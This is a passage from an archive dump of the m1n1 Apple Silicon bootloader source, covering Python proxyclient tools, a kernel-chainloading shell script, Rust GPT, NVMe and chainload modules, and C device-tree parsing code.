power-management@{base:x} {{") print(f"\tcompatible = {compatible};") print( "\t#address-cells = <1>;") print( "\t#size-cells = <1>;") print() print(f"\treg = <{base >> 32:#x} {base & 0xffffffff:#x} 0 {size:#x}>;") print( "};") print() for i, ((base, size), devices) in enumerate(sorted(blocks.items())): print(f"&pmgr{i} {{") for dev in sorted(devices, key=lambda d: pmgr.ps_regs[d.psreg].offset + dev.psidx * 8): if dev.flags.no_ps: continue ps = pmgr.ps_regs[dev.psreg] offset = ps.offset + dev.psidx * 8 addr = pmgr.get_reg(ps.reg)[0] + offset assert base <= addr <= (base + size) print() print(f"\t{die_node('ps_' + dev.name.lower())}: power-controller@{offset:x} {{") print(f"\t\tcompatible = {ps_compatible};") print(f"\t\treg = <{offset:#x} 4>;") print( "\t\t#power-domain-cells = <0>;") print( "\t\t#reset-cells = <0>;") print(f'\t\tlabel = {die_label(dev.name.lower())};') if dev.flags.critical: print("\t\tapple,always-on;") if any(dev.parents): domains = [f"<&{die_node('ps_'+dev_by_id[idx].name.lower())}>" for idx in dev.parents if idx] print(f"\t\tpower-domains = {', '.join(domains)};") print( "\t};") print( "};") print() m1n1-1.4.11/proxyclient/tools/reboot.py000077500000000000000000000003541453754430200177520ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.pmu import PMU PMU(u).reset_panic_counter() p.reboot() m1n1-1.4.11/proxyclient/tools/reset_panic_counter.py000077500000000000000000000003401453754430200225060ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.pmu import PMU PMU(u).reset_panic_counter() m1n1-1.4.11/proxyclient/tools/run_guest.py000077500000000000000000000070261453754430200204760ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, traceback sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse, pathlib from io import BytesIO def volumespec(s): return tuple(s.split(":", 2)) parser = argparse.ArgumentParser(description='Run a Mach-O payload under the hypervisor') parser.add_argument('-s', '--symbols', type=pathlib.Path) parser.add_argument('-m', '--script', type=pathlib.Path, action='append', default=[]) parser.add_argument('-c', '--command', action="append", default=[]) parser.add_argument('-S', '--shell', action="store_true") parser.add_argument('-e', '--hook-exceptions', action="store_true") parser.add_argument('-d', '--debug-xnu', action="store_true") parser.add_argument('-l', '--logfile', type=pathlib.Path) parser.add_argument('-C', '--cpus', default=None) parser.add_argument('-r', '--raw', action="store_true") parser.add_argument('-E', '--entry-point', action="store", type=int, help="Entry point for the raw image", default=0x800) parser.add_argument('-a', '--append-payload', type=pathlib.Path, action="append", default=[]) parser.add_argument('-v', '--volume', type=volumespec, action='append', help='Attach a 9P virtio device for file export to the guest. The argument is a host path to the ' 'exported tree, joined by colon (\':\') with a tag under which the tree will be advertised ' 'on the guest side.') parser.add_argument('payload', type=pathlib.Path) parser.add_argument('boot_args', default=[], nargs="*") args = parser.parse_args() from m1n1.proxy import * from m1n1.proxyutils import * from m1n1.utils import * from m1n1.shell import run_shell from m1n1.hv import HV from m1n1.hv.virtio import Virtio9PTransport from m1n1.hw.pmu import PMU iface = UartInterface() p = M1N1Proxy(iface, debug=False) bootstrap_port(iface, p) u = ProxyUtils(p, heap_size = 128 * 1024 * 1024) hv = HV(iface, p, u) hv.hook_exceptions = args.hook_exceptions hv.init() if args.cpus: avail = [i.name for i in hv.adt["/cpus"]] want = set(f"cpu{i}" for i in args.cpus) for cpu in avail: if cpu in want: continue try: del hv.adt[f"/cpus/{cpu}"] print(f"Disabled {cpu}") except KeyError: continue if args.debug_xnu: hv.adt["chosen"].debug_enabled = 1 if args.volume: for path, tag in args.volume: hv.attach_virtio(Virtio9PTransport(root=path, tag=tag)) if args.logfile: hv.set_logfile(args.logfile.open("w")) if len(args.boot_args) > 0: boot_args = " ".join(args.boot_args) hv.set_bootargs(boot_args) symfile = None if args.symbols: symfile = args.symbols.open("rb") payload = args.payload.open("rb") if args.append_payload: concat = BytesIO() concat.write(payload.read()) for part in args.append_payload: concat.write(part.open("rb").read()) concat.seek(0) payload = concat if args.raw: hv.load_raw(payload.read(), args.entry_point) else: hv.load_macho(payload, symfile=symfile) PMU(u).reset_panic_counter() for i in args.script: try: hv.run_script(i) except: traceback.print_exc() args.shell = True for i in args.command: try: hv.run_code(i) except: traceback.print_exc() args.shell = True if args.shell: run_shell(hv.shell_locals, "Entering hypervisor shell. Type ^D to start the guest.") hv.start() run_shell(hv.shell_locals, "Hypervisor exited. Entering shell.") p.smp_stop_secondaries(True) p.sleep(True) m1n1-1.4.11/proxyclient/tools/run_guest_kernel.sh000077500000000000000000000027541453754430200220230ustar00rootroot00000000000000#!/bin/sh set -e : ${TMPDIR:=$XDG_RUNTIME_DIR} : ${TMPDIR:=/tmp} if [ "$1" == "-k" ]; then kernel="$(realpath "$2")" shift 2 fi if [ ! -d "$1" ]; then echo "Usage:" echo " $0 [kernel commandline] [initramfs]" exit 1 fi kernel_base="$(realpath "$1")" args="$2" initramfs="" shift 2 if [ "$1" == "--" ]; then shift elif [ -n "$1" ]; then initramfs="$(realpath "$1")" shift fi if [ -z "$kernel" ]; then kernel="$kernel_base"/arch/arm64/boot/Image.gz fi base="$(dirname "$0")" echo "Creating m1n1+kernel image" cp "$base"/../../build/m1n1.bin "$TMPDIR/m1n1-linux.bin" if [ -n "$args" ]; then echo "chosen.bootargs=$args" >>"$TMPDIR/m1n1-linux.bin" fi cat "$kernel_base"/arch/arm64/boot/dts/apple/*.dtb >>"$TMPDIR/m1n1-linux.bin" if [[ "$kernel" == *.gz ]]; then cat "$kernel" >>"$TMPDIR/m1n1-linux.bin" else gzip -c <"$kernel" >>"$TMPDIR/m1n1-linux.bin" fi if [ -n "$initramfs" ]; then initramfs_size=$(stat --printf='%s' "$initramfs") python3 - << EOF >>"$TMPDIR/m1n1-linux.bin" import os, sys magic = b'm1n1_initramfs' size = int(${initramfs_size}).to_bytes(4, byteorder='little') os.write(sys.stdout.fileno(), magic + size) EOF cat "$initramfs" >>"$TMPDIR/m1n1-linux.bin" fi echo "Chainloading to updated m1n1..." python3 "$base"/chainload.py -r "$base"/../../build/m1n1.bin echo "Starting guest..." exec python3 "$base"/run_guest.py \ -c "load_system_map('$kernel_base/System.map')" "$@" \ -r "$TMPDIR/m1n1-linux.bin" m1n1-1.4.11/proxyclient/tools/second_proxy.py000077500000000000000000000004211453754430200211670ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * p.usb_iodev_vuart_setup(p.iodev_whoami()) p.iodev_set_usage(IODEV.USB_VUART, USAGE.UARTPROXY) m1n1-1.4.11/proxyclient/tools/shell.py000077500000000000000000000003561453754430200175710ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.shell import run_shell run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/tools/smccli.py000077500000000000000000000006351453754430200177340ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.shell import run_shell from m1n1.fw.smc import SMCClient smc_addr = u.adt["arm-io/smc"].get_reg(0)[0] smc = SMCClient(u, smc_addr, None) smc.verbose = 3 smc.start() smc.start_ep(0x20) run_shell(globals(), msg="Have fun!") smc.stop() m1n1-1.4.11/rust/000077500000000000000000000000001453754430200133565ustar00rootroot00000000000000m1n1-1.4.11/rust/Cargo.lock000066400000000000000000000012711453754430200152640ustar00rootroot00000000000000# This file is automatically @generated by Cargo. # It is not intended for manual editing. version = 3 [[package]] name = "bitflags" version = "1.3.2" [[package]] name = "cfg-if" version = "1.0.0" [[package]] name = "cstr_core" version = "0.2.5" dependencies = [ "cty", "memchr", ] [[package]] name = "cty" version = "0.2.2" [[package]] name = "fatfs" version = "0.4.0" dependencies = [ "bitflags", "log", ] [[package]] name = "log" version = "0.4.17" dependencies = [ "cfg-if", ] [[package]] name = "memchr" version = "2.4.1" [[package]] name = "rust" version = "0.1.0" dependencies = [ "cstr_core", "cty", "fatfs", "uuid", ] [[package]] name = "uuid" version = "1.0.0-alpha.1" m1n1-1.4.11/rust/Cargo.toml000066400000000000000000000013521453754430200153070ustar00rootroot00000000000000[package] name = "rust" version = "0.1.0" edition = "2021" repository = "https://github.com/AsahiLinux/m1n1" license = "MIT" publish = false [lib] crate-type = [ "staticlib" ] # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] fatfs = { path = "vendor/rust-fatfs", default-features = false, features = ["lfn", "alloc"] } cstr_core = "0.2.5" uuid = { version = "1.0.0-alpha.1", default-features = false } cty = "0.2.2" [patch.crates-io] uuid = { path = "vendor/uuid" } cty = { path = "vendor/cty" } cstr_core = { path = "vendor/cstr_core" } memchr = { path = "vendor/memchr" } log = { path = "vendor/log" } bitflags = { path = "vendor/bitflags" } cfg-if = { path = "vendor/cfg-if" } m1n1-1.4.11/rust/src/000077500000000000000000000000001453754430200141455ustar00rootroot00000000000000m1n1-1.4.11/rust/src/chainload.rs000066400000000000000000000047211453754430200164410ustar00rootroot00000000000000// SPDX-License-Identifier: MIT #![deny(unsafe_op_in_unsafe_fn)] use crate::gpt; use crate::nvme; use crate::println; use alloc::vec::Vec; use core::ffi::c_void; use cstr_core::CStr; use cty::*; use fatfs::{FileSystem, FsOptions, Read, Seek, SeekFrom}; use uuid::Uuid; #[derive(Debug)] pub enum Error { FATError(fatfs::Error), GPTError(gpt::Error), BadArgs, PartitionNotFound, Unknown, } impl From> for Error { fn from(err: fatfs::Error) -> Error { Error::FATError(err) } } impl From> for Error { fn from(err: gpt::Error) -> Error { Error::GPTError(err) } } fn load_image(spec: &str) -> Result, Error> { println!("Chainloading {}", spec); let mut args = spec.split(';'); let uuid = Uuid::parse_str(args.next().ok_or(Error::BadArgs)?).or(Err(Error::BadArgs))?; let path = args.next().ok_or(Error::BadArgs)?; let part = { let storage = nvme::NVMEStorage::new(1, 0); let mut pt = gpt::GPT::new(storage)?; //println!("Partitions:"); //pt.dump(); println!("Searching for partition UUID: {}", uuid); pt.find_by_partuuid(uuid)?.ok_or(Error::PartitionNotFound)? }; let offset = part.get_starting_lba(); println!("Partition offset: {}", offset); let storage = nvme::NVMEStorage::new(1, offset); let opts = FsOptions::new().update_accessed_date(false); let fs = FileSystem::new(storage, opts)?; let mut file = fs.root_dir().open_file(path)?; let size = file.seek(SeekFrom::End(0))? as usize; file.seek(SeekFrom::Start(0))?; println!("File size: {}", size); let mut buf: Vec = vec![0; size]; let mut slice = &mut buf[..]; while !slice.is_empty() { let read = file.read(slice)?; slice = &mut slice[read..]; } println!("File read successfully"); Ok(buf) } #[no_mangle] pub unsafe extern "C" fn rust_load_image( raw_spec: *const c_char, image: *mut *mut c_void, size: *mut size_t, ) -> c_int { let spec = unsafe { CStr::from_ptr(raw_spec).to_str().unwrap() }; match load_image(spec) { Ok(buf) => { unsafe { *size = buf.len(); *image = buf.leak().as_mut_ptr() as *mut c_void; } 0 } Err(err) => { println!("Chainload failed: {:?}", err); -1 } } } m1n1-1.4.11/rust/src/dlmalloc.rs000066400000000000000000000045511453754430200163070ustar00rootroot00000000000000// SPDX-License-Identifier: MIT use core::alloc::{GlobalAlloc, Layout}; use core::ffi::c_void; use core::ptr; use cty::*; extern "C" { pub fn malloc(size: size_t) -> *mut c_void; pub fn realloc_in_place(p: *mut c_void, size: size_t) -> *mut c_void; pub fn free(p: *mut c_void); pub fn posix_memalign(p: *mut *mut c_void, alignment: size_t, size: size_t) -> c_int; } pub struct DLMalloc; unsafe impl GlobalAlloc for DLMalloc { #[inline] unsafe fn alloc(&self, layout: Layout) -> *mut u8 { let mut ptr = ptr::null_mut(); let ret = unsafe { posix_memalign( &mut ptr, layout.align().max(core::mem::size_of::()), layout.size(), ) }; if ret == 0 { ptr as *mut u8 } else { ptr::null_mut() } } #[inline] unsafe fn alloc_zeroed(&self, layout: Layout) -> *mut u8 { // Unfortunately, calloc doesn't make any alignment guarantees, so the memory // has to be manually zeroed-out. let ptr = unsafe { self.alloc(layout) }; if !ptr.is_null() { unsafe { ptr::write_bytes(ptr, 0, layout.size()) }; } ptr } #[inline] unsafe fn dealloc(&self, ptr: *mut u8, _layout: Layout) { unsafe { free(ptr as *mut c_void); } } #[inline] unsafe fn realloc(&self, ptr: *mut u8, layout: Layout, new_size: usize) -> *mut u8 { // Unfortunately, realloc doesn't make any alignment guarantees, so the memory // has to be manually allocated as aligned memory if it cannot be resized // in-place. let mut new_ptr = unsafe { realloc_in_place(ptr as *mut c_void, new_size) as *mut u8 }; // return early if in-place resize succeeded if !new_ptr.is_null() { return new_ptr; } // allocate new aligned storage with correct layout new_ptr = unsafe { self.alloc(Layout::from_size_align_unchecked(new_size, layout.align())) }; // return early if allocation failed if new_ptr.is_null() { return ptr::null_mut(); } // copy over the data and deallocate the old storage unsafe { ptr::copy(ptr, new_ptr, layout.size().min(new_size)) }; unsafe { self.dealloc(ptr, layout) }; new_ptr } } m1n1-1.4.11/rust/src/gpt.rs000066400000000000000000000105271453754430200153120ustar00rootroot00000000000000// SPDX-License-Identifier: MIT use crate::println; use core::convert::TryInto; use core::result::Result; use fatfs::{Read, Seek}; use uuid::Uuid; const EFI_SIGNATURE: u64 = 0x5452415020494645; const SECTOR_SIZE: usize = 4096; #[derive(Debug)] pub enum Error { Io(T), InvalidGPTHeader, } impl From for Error { fn from(err: T) -> Error { Error::Io(err) } } struct TableHeader { bytes: [u8; Self::SIZE], my_lba: u64, } impl TableHeader { const SIZE: usize = 0x5C; fn read(rdr: &mut R, lba: u64) -> Result> { let mut hdr = Self { bytes: [0; Self::SIZE], my_lba: lba, }; let off = SECTOR_SIZE * (lba as usize); rdr.seek(fatfs::SeekFrom::Start(off as u64))?; rdr.read_exact(&mut hdr.bytes)?; match hdr.is_valid() { true => Ok(hdr), false => Err(Error::InvalidGPTHeader), } } fn get_signature(&self) -> u64 { u64::from_le_bytes(self.bytes[0..8].try_into().unwrap()) } fn get_my_lba(&self) -> u64 { u64::from_le_bytes(self.bytes[24..32].try_into().unwrap()) } fn get_partition_entry_lba(&self) -> u64 { u64::from_le_bytes(self.bytes[72..80].try_into().unwrap()) } fn get_partition_entry_count(&self) -> usize { u32::from_le_bytes(self.bytes[80..84].try_into().unwrap()) as usize } fn get_partition_entry_size(&self) -> usize { u32::from_le_bytes(self.bytes[84..88].try_into().unwrap()) as usize } fn is_valid(&self) -> bool { self.get_signature() == EFI_SIGNATURE && self.get_my_lba() == self.my_lba } } pub struct PartitionEntry { bytes: [u8; Self::SIZE], } impl PartitionEntry { const SIZE: usize = 0x80; fn read(rdr: &mut R, off: usize) -> Result> { let mut part = Self { bytes: [0; Self::SIZE], }; rdr.seek(fatfs::SeekFrom::Start(off as u64))?; rdr.read_exact(&mut part.bytes)?; Ok(part) } #[allow(dead_code)] pub fn get_type_guid(&self) -> Uuid { Uuid::from_bytes_le(self.bytes[0..16].try_into().unwrap()) } pub fn get_partition_guid(&self) -> Uuid { Uuid::from_bytes_le(self.bytes[16..32].try_into().unwrap()) } pub fn get_starting_lba(&self) -> u64 { u64::from_le_bytes(self.bytes[32..40].try_into().unwrap()) } pub fn get_ending_lba(&self) -> u64 { u64::from_le_bytes(self.bytes[40..48].try_into().unwrap()) } pub fn get_attributes(&self) -> u64 { u64::from_le_bytes(self.bytes[48..56].try_into().unwrap()) } pub fn get_name(&self) -> &[u8] { &self.bytes[56..72] } } pub struct GPT { disk: T, hdr: TableHeader, } impl GPT { pub fn new>(storage: T) -> Result> { let mut disk = storage.into_storage(); let hdr = TableHeader::read(&mut disk, 1)?; let gpt = Self { disk, hdr }; Ok(gpt) } pub fn count(&self) -> usize { self.hdr.get_partition_entry_count() } pub fn index(&mut self, index: usize) -> Result> { let off = (self.hdr.get_partition_entry_lba() as usize * SECTOR_SIZE) + index * self.hdr.get_partition_entry_size(); PartitionEntry::read(&mut self.disk, off) } pub fn find_by_partuuid( &mut self, uuid: Uuid, ) -> Result, Error> { for i in 0..self.count() { let part = self.index(i)?; if part.get_type_guid().is_nil() { continue; } if part.get_partition_guid() == uuid { return Ok(Some(part)); } } Ok(None) } pub fn dump(&mut self) { for i in 0..self.count() { let part = self.index(i).unwrap(); let guid = part.get_type_guid(); if guid.is_nil() { continue; } println!( "{}: {}..{} {:x} {:x}", i, part.get_starting_lba(), part.get_ending_lba(), guid, part.get_partition_guid() ); } } } m1n1-1.4.11/rust/src/lib.rs000066400000000000000000000012421453754430200152600ustar00rootroot00000000000000// SPDX-License-Identifier: MIT #![no_std] #![deny(unsafe_op_in_unsafe_fn)] #![feature(alloc_error_handler)] #![feature(new_uninit)] #[macro_use] extern crate alloc; pub mod chainload; pub mod dlmalloc; pub mod gpt; pub mod nvme; pub mod print; use crate::dlmalloc::DLMalloc; #[global_allocator] static GLOBAL: DLMalloc = dlmalloc::DLMalloc; extern "C" { fn flush_and_reboot(); } #[panic_handler] fn panic(info: &::core::panic::PanicInfo) -> ! { println!("{}", info); unsafe { flush_and_reboot() }; loop {} } #[alloc_error_handler] fn alloc_error(layout: core::alloc::Layout) -> ! { panic!("memory allocation of {} bytes failed", layout.size()) } m1n1-1.4.11/rust/src/nvme.rs000066400000000000000000000046421453754430200154660ustar00rootroot00000000000000// SPDX-License-Identifier: MIT use crate::println; use alloc::boxed::Box; use core::cmp::min; use core::ffi::c_void; use fatfs::SeekFrom; extern "C" { fn nvme_read(nsid: u32, lba: u64, buffer: *mut c_void) -> bool; } const SECTOR_SIZE: usize = 4096; pub type Error = (); #[repr(C, align(4096))] struct SectorBuffer([u8; SECTOR_SIZE]); fn alloc_sector_buf() -> Box { let p: Box = unsafe { Box::new_zeroed().assume_init() }; debug_assert_eq!(0, p.0.as_ptr().align_offset(4096)); p } pub struct NVMEStorage { nsid: u32, offset: u64, lba: Option, buf: Box, pos: u64, } impl NVMEStorage { pub fn new(nsid: u32, offset: u64) -> NVMEStorage { NVMEStorage { nsid: nsid, offset: offset, lba: None, buf: alloc_sector_buf(), pos: 0, } } } impl fatfs::IoBase for NVMEStorage { type Error = Error; } impl fatfs::Read for NVMEStorage { fn read(&mut self, mut buf: &mut [u8]) -> Result { let mut read = 0; while !buf.is_empty() { let lba = self.pos / SECTOR_SIZE as u64; let off = self.pos as usize % SECTOR_SIZE; if Some(lba) != self.lba { self.lba = Some(lba); let lba = lba + self.offset; if !unsafe { nvme_read(self.nsid, lba, self.buf.0.as_mut_ptr() as *mut c_void) } { println!("nvme_read({}, {}) failed", self.nsid, lba); return Err(()); } } let copy_len = min(SECTOR_SIZE - off, buf.len()); buf[..copy_len].copy_from_slice(&self.buf.0[off..off + copy_len]); buf = &mut buf[copy_len..]; read += copy_len; self.pos += copy_len as u64; } Ok(read) } } impl fatfs::Write for NVMEStorage { fn write(&mut self, _buf: &[u8]) -> Result { Err(()) } fn flush(&mut self) -> Result<(), Self::Error> { Err(()) } } impl fatfs::Seek for NVMEStorage { fn seek(&mut self, from: SeekFrom) -> Result { self.pos = match from { SeekFrom::Start(n) => n, SeekFrom::End(_n) => panic!("SeekFrom::End not supported"), SeekFrom::Current(n) => self.pos.checked_add_signed(n).ok_or(())?, }; Ok(self.pos) } } m1n1-1.4.11/rust/src/print.rs000066400000000000000000000024441453754430200156530ustar00rootroot00000000000000// SPDX-License-Identifier: MIT use core::ffi::c_void; extern "C" { fn iodev_console_write(buf: *const c_void, len: u64); } pub struct IODevConsoleWriter; impl core::fmt::Write for IODevConsoleWriter { #[inline] fn write_str(&mut self, msg: &str) -> core::fmt::Result { write(msg) } } impl IODevConsoleWriter { #[inline] pub fn write_fmt(args: core::fmt::Arguments) -> core::fmt::Result { core::fmt::Write::write_fmt(&mut Self, args) } #[inline] pub fn write_str(msg: &str) -> core::fmt::Result { write(msg) } #[inline] pub fn write_nl() -> core::fmt::Result { write("\n") } } #[inline] fn write(msg: &str) -> core::fmt::Result { unsafe { iodev_console_write(msg.as_ptr() as _, msg.len() as u64) }; Ok(()) } #[macro_export] macro_rules! println { () => { $crate::println!("") }; ($($arg:tt)*) => { #[allow(unused_must_use)] { $crate::print::IODevConsoleWriter::write_fmt(format_args!($($arg)*)); $crate::print::IODevConsoleWriter::write_nl(); } }; } #[macro_export] macro_rules! print { ($($arg:tt)*) => { #[allow(unused_must_use)] { $crate::print::IODevConsoleWriter::write_fmt(format_args!($($arg)*)); } }; } m1n1-1.4.11/rust/vendor/000077500000000000000000000000001453754430200146535ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/bitflags/000077500000000000000000000000001453754430200164465ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/cfg-if/000077500000000000000000000000001453754430200160065ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/cstr_core/000077500000000000000000000000001453754430200166365ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/cty/000077500000000000000000000000001453754430200154525ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/log/000077500000000000000000000000001453754430200154345ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/memchr/000077500000000000000000000000001453754430200161265ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/rust-fatfs/000077500000000000000000000000001453754430200167515ustar00rootroot00000000000000m1n1-1.4.11/rust/vendor/uuid/000077500000000000000000000000001453754430200156215ustar00rootroot00000000000000m1n1-1.4.11/src/000077500000000000000000000000001453754430200131505ustar00rootroot00000000000000m1n1-1.4.11/src/adt.c000066400000000000000000000224441453754430200140720ustar00rootroot00000000000000/* SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) */ #include "adt.h" #include "string.h" /* This API is designed to match libfdt's read-only API */ #define ADT_CHECK_HEADER(adt) \ { \ int err; \ if ((err = adt_check_header(adt)) != 0) \ return err; \ } // #define DEBUG #ifdef DEBUG #include "utils.h" #define dprintf printf #else #define dprintf(...) \ do { \ } while (0) #endif int _adt_check_node_offset(const void *adt, int offset) { if ((offset < 0) || (offset % ADT_ALIGN)) return -ADT_ERR_BADOFFSET; const struct adt_node_hdr *node = ADT_NODE(adt, offset); // Sanity check if (node->property_count > 2048 || !node->property_count || node->child_count > 2048) return -ADT_ERR_BADOFFSET; return 0; } int _adt_check_prop_offset(const void *adt, int offset) { if ((offset < 0) || (offset % ADT_ALIGN)) return -ADT_ERR_BADOFFSET; const struct adt_property *prop = ADT_PROP(adt, offset); if (prop->size & 0x7ff00000) // up to 1MB properties return -ADT_ERR_BADOFFSET; return 0; } int adt_check_header(const void *adt) { return _adt_check_node_offset(adt, 0); } static int _adt_string_eq(const char *a, const char *b, size_t len) { return (strlen(a) == len) && (memcmp(a, b, len) == 0); } static int _adt_nodename_eq(const char *a, const char *b, size_t len) { if (memcmp(a, b, len) != 0) return 0; if (a[len] == '\0') return 1; else if (!memchr(b, '@', len) && (a[len] == '@')) return 1; else return 0; } const struct adt_property *adt_get_property_namelen(const void *adt, int offset, const char *name, size_t namelen) { dprintf("adt_get_property_namelen(%p, %d, \"%s\", %u)\n", adt, offset, name, namelen); ADT_FOREACH_PROPERTY(adt, offset, prop) { dprintf(" off=0x%x name=\"%s\"\n", offset, prop->name); if (_adt_string_eq(prop->name, name, namelen)) return prop; } return NULL; } const struct adt_property *adt_get_property(const void *adt, int nodeoffset, const char *name) { return adt_get_property_namelen(adt, nodeoffset, name, strlen(name)); } const void *adt_getprop_namelen(const void *adt, int nodeoffset, const char *name, size_t namelen, u32 *lenp) { const struct adt_property *prop; prop = adt_get_property_namelen(adt, nodeoffset, name, namelen); if (!prop) return NULL; if (lenp) *lenp = prop->size; return prop->value; } const void *adt_getprop_by_offset(const void *adt, int offset, const char **namep, u32 *lenp) { const struct adt_property *prop; prop = adt_get_property_by_offset(adt, offset); if (!prop) return NULL; if (namep) *namep = prop->name; if (lenp) *lenp = prop->size; return prop->value; } const void *adt_getprop(const void *adt, int nodeoffset, const char *name, u32 *lenp) { return adt_getprop_namelen(adt, nodeoffset, name, strlen(name), lenp); } int adt_setprop(void *adt, int nodeoffset, const char *name, void *value, size_t len) { u32 plen; void *prop = (void *)adt_getprop(adt, nodeoffset, name, &plen); if (!prop) return -ADT_ERR_NOTFOUND; if (len != plen) return -ADT_ERR_BADLENGTH; memcpy(prop, value, len); return len; } int adt_getprop_copy(const void *adt, int nodeoffset, const char *name, void *out, size_t len) { u32 plen; const void *p = adt_getprop(adt, nodeoffset, name, &plen); if (!p) return -ADT_ERR_NOTFOUND; if (plen != len) return -ADT_ERR_BADLENGTH; memcpy(out, p, len); return len; } int adt_first_child_offset(const void *adt, int offset) { const struct adt_node_hdr *node = ADT_NODE(adt, offset); u32 cnt = node->property_count; offset = adt_first_property_offset(adt, offset); while (cnt--) { offset = adt_next_property_offset(adt, offset); } return offset; } int adt_next_sibling_offset(const void *adt, int offset) { const struct adt_node_hdr *node = ADT_NODE(adt, offset); u32 cnt = node->child_count; offset = adt_first_child_offset(adt, offset); while (cnt--) { offset = adt_next_sibling_offset(adt, offset); } return offset; } int adt_subnode_offset_namelen(const void *adt, int offset, const char *name, size_t namelen) { ADT_CHECK_HEADER(adt); ADT_FOREACH_CHILD(adt, offset) { const char *cname = adt_get_name(adt, offset); if (_adt_nodename_eq(cname, name, namelen)) return offset; } return -ADT_ERR_NOTFOUND; } int adt_subnode_offset(const void *adt, int parentoffset, const char *name) { return adt_subnode_offset_namelen(adt, parentoffset, name, strlen(name)); } int adt_path_offset(const void *adt, const char *path) { return adt_path_offset_trace(adt, path, NULL); } int adt_path_offset_trace(const void *adt, const char *path, int *offsets) { const char *end = path + strlen(path); const char *p = path; int offset = 0; ADT_CHECK_HEADER(adt); while (*p) { const char *q; while (*p == '/') p++; if (!*p) break; q = strchr(p, '/'); if (!q) q = end; offset = adt_subnode_offset_namelen(adt, offset, p, q - p); if (offset < 0) break; if (offsets) *offsets++ = offset; p = q; } if (offsets) *offsets++ = 0; return offset; } const char *adt_get_name(const void *adt, int nodeoffset) { return adt_getprop(adt, nodeoffset, "name", NULL); } static void get_cells(u64 *dst, const u32 **src, int cells) { *dst = 0; for (int i = 0; i < cells; i++) *dst |= ((u64) * ((*src)++)) << (32 * i); } int adt_get_reg(const void *adt, int *path, const char *prop, int idx, u64 *paddr, u64 *psize) { int cur = 0; if (!*path) return -ADT_ERR_BADOFFSET; while (path[cur + 1]) cur++; int node = path[cur]; int parent = cur > 0 ? path[cur - 1] : 0; u32 a_cells = 2, s_cells = 1; ADT_GETPROP(adt, parent, "#address-cells", &a_cells); ADT_GETPROP(adt, parent, "#size-cells", &s_cells); dprintf("adt_get_reg: node '%s' @ %d, parent @ %d, address-cells=%d size-cells=%d idx=%d\n", adt_get_name(adt, node), node, parent, a_cells, s_cells, idx); if (a_cells < 1 || a_cells > 2 || s_cells > 2) { dprintf("bad n-cells\n"); return ADT_ERR_BADNCELLS; } u32 reg_len = 0; const u32 *reg = adt_getprop(adt, node, prop, ®_len); if (!reg || !reg_len) { dprintf("reg not found or empty\n"); return -ADT_ERR_NOTFOUND; } if (reg_len < (idx + 1) * (a_cells + s_cells) * 4) { dprintf("bad reg property length %d\n", reg_len); return -ADT_ERR_BADVALUE; } reg += idx * (a_cells + s_cells); u64 addr, size = 0; get_cells(&addr, ®, a_cells); get_cells(&size, ®, s_cells); dprintf(" addr=0x%lx size=0x%lx\n", addr, size); while (parent) { cur--; node = parent; parent = cur > 0 ? path[cur - 1] : 0; dprintf(" walking up to %s\n", adt_get_name(adt, node)); u32 ranges_len; const u32 *ranges = adt_getprop(adt, node, "ranges", &ranges_len); if (!ranges) break; u32 pa_cells = 2; ADT_GETPROP(adt, parent, "#address-cells", &pa_cells); dprintf(" translate range to address-cells=%d\n", pa_cells); if (pa_cells < 1 || pa_cells > 2 || s_cells > 2) return ADT_ERR_BADNCELLS; int range_cnt = ranges_len / (4 * (pa_cells + a_cells + s_cells)); while (range_cnt--) { u64 c_addr, p_addr, c_size; get_cells(&c_addr, &ranges, a_cells); get_cells(&p_addr, &ranges, pa_cells); get_cells(&c_size, &ranges, s_cells); dprintf(" ranges %lx %lx %lx\n", c_addr, p_addr, c_size); if (addr >= c_addr && (addr + size) <= (c_addr + c_size)) { dprintf(" translate %lx", addr); addr = addr - c_addr + p_addr; dprintf(" -> %lx\n", addr); break; } } ADT_GETPROP(adt, parent, "#size-cells", &s_cells); a_cells = pa_cells; } if (paddr) *paddr = addr; if (psize) *psize = size; return 0; } bool adt_is_compatible(const void *adt, int nodeoffset, const char *compat) { u32 len; const char *list = adt_getprop(adt, nodeoffset, "compatible", &len); if (!list) return false; const char *end = list + len; while (list != end) { if (!strcmp(list, compat)) return true; list += strlen(list) + 1; } return false; } m1n1-1.4.11/src/adt.h000066400000000000000000000106231453754430200140730ustar00rootroot00000000000000/* SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) */ #ifndef XDT_H #define XDT_H #include #include #include "types.h" #define ADT_ERR_NOTFOUND 1 #define ADT_ERR_BADOFFSET 4 #define ADT_ERR_BADPATH 5 #define ADT_ERR_BADNCELLS 14 #define ADT_ERR_BADVALUE 15 #define ADT_ERR_BADLENGTH 20 #define ADT_ALIGN 4 extern void *adt; struct adt_property { char name[32]; u32 size; u8 value[]; }; struct adt_node_hdr { u32 property_count; u32 child_count; }; #define ADT_NODE(adt, offset) ((const struct adt_node_hdr *)(((u8 